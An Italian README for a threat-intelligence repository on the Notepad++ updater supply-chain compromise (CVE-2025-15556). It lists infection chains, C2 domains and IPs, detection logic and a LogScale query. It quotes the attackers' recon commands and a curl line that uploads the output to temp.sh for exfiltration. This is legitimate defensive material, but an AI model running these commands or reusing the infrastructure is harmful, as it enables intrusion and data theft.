
IoC e regole di rilevamento per l'attacco alla supply chain di Notepad++ (CVE-2025-15556) — Lotus Blossom APT, giugno–dicembre 2025. Include query Falcon LogScale, regole YARA/Sigma e mappatura MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Giugno – Dicembre 2025
Questo repository contiene una raccolta completa e consolidata di Indicatori di Compromissione (IoC) relativi all'attacco alla supply chain di Notepad++ divulgato il 2 febbraio 2026.
Tra giugno e dicembre 2025, un attore di minaccia sponsorizzato dallo stato cinese ha compromesso l'infrastruttura di hosting di Notepad++, dirottando il meccanismo di aggiornamento integrato (WinGUp) per distribuire selettivamente installer troianizzati a utenti mirati. L'attacco ha sfruttato la mancanza di verifica crittografica nell'aggiornatore (pre-v8.8.9), consentendo la distribuzione di backdoor personalizzate, Cobalt Strike Beacon e payload Metasploit.
| CVE | CVE-2025-15556 — Download di codice senza verifica d'integrità |
| Threat Actor | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Active Period | Giugno 2025 – 2 Dicembre 2025 |
| Attack Vector | Compromissione della supply chain tramite aggiornatore automatico WinGUp |
| Targets | Governo, telecomunicazioni, servizi finanziari, provider IT (Filippine, Vietnam, El Salvador, Australia, Asia orientale) |
| Malware | Backdoor Chrysalis (personalizzata), Cobalt Strike Beacon, Metasploit Meterpreter |
| Patched in | Notepad++ v8.8.9+ (verifica certificato) / v8.9.1+ (validazione XMLDSig) |
Kaspersky GReAT ha identificato tre distinte catene di infezione, ruotate approssimativamente ogni mese per eludere il rilevamento:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → esfiltrato via temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| File | Descrizione |
|---|---|
notepadpp_supply_chain_iocs.csv | Dataset completo di IoC (105 indicatori) con mappatura MITRE ATT&CK |
| Colonna | Descrizione |
|---|---|
ioc_type | Tipo: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | Il valore dell'indicatore |
chain | Catena di infezione (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Descrizione di cosa rappresenta l'IoC |
source | Fonte dell'intelligence (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Severità (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | ID tecnica MITRE ATT&CK |
Comportamentali — indipendenti dagli IoC, massimo valore:
gup.exe che genera qualsiasi processo figlio diverso da un installer legittimo firmato di Notepad++gup.exe che si connette a domini/IP diversi da notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (runtime NSIS — presente in tutte le catene)Rete — alta confidenza:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — specialmente con upload di file tramite curltemp.sh incorporati nell'header User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Comandi di ricognizione (post-sfruttamento):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])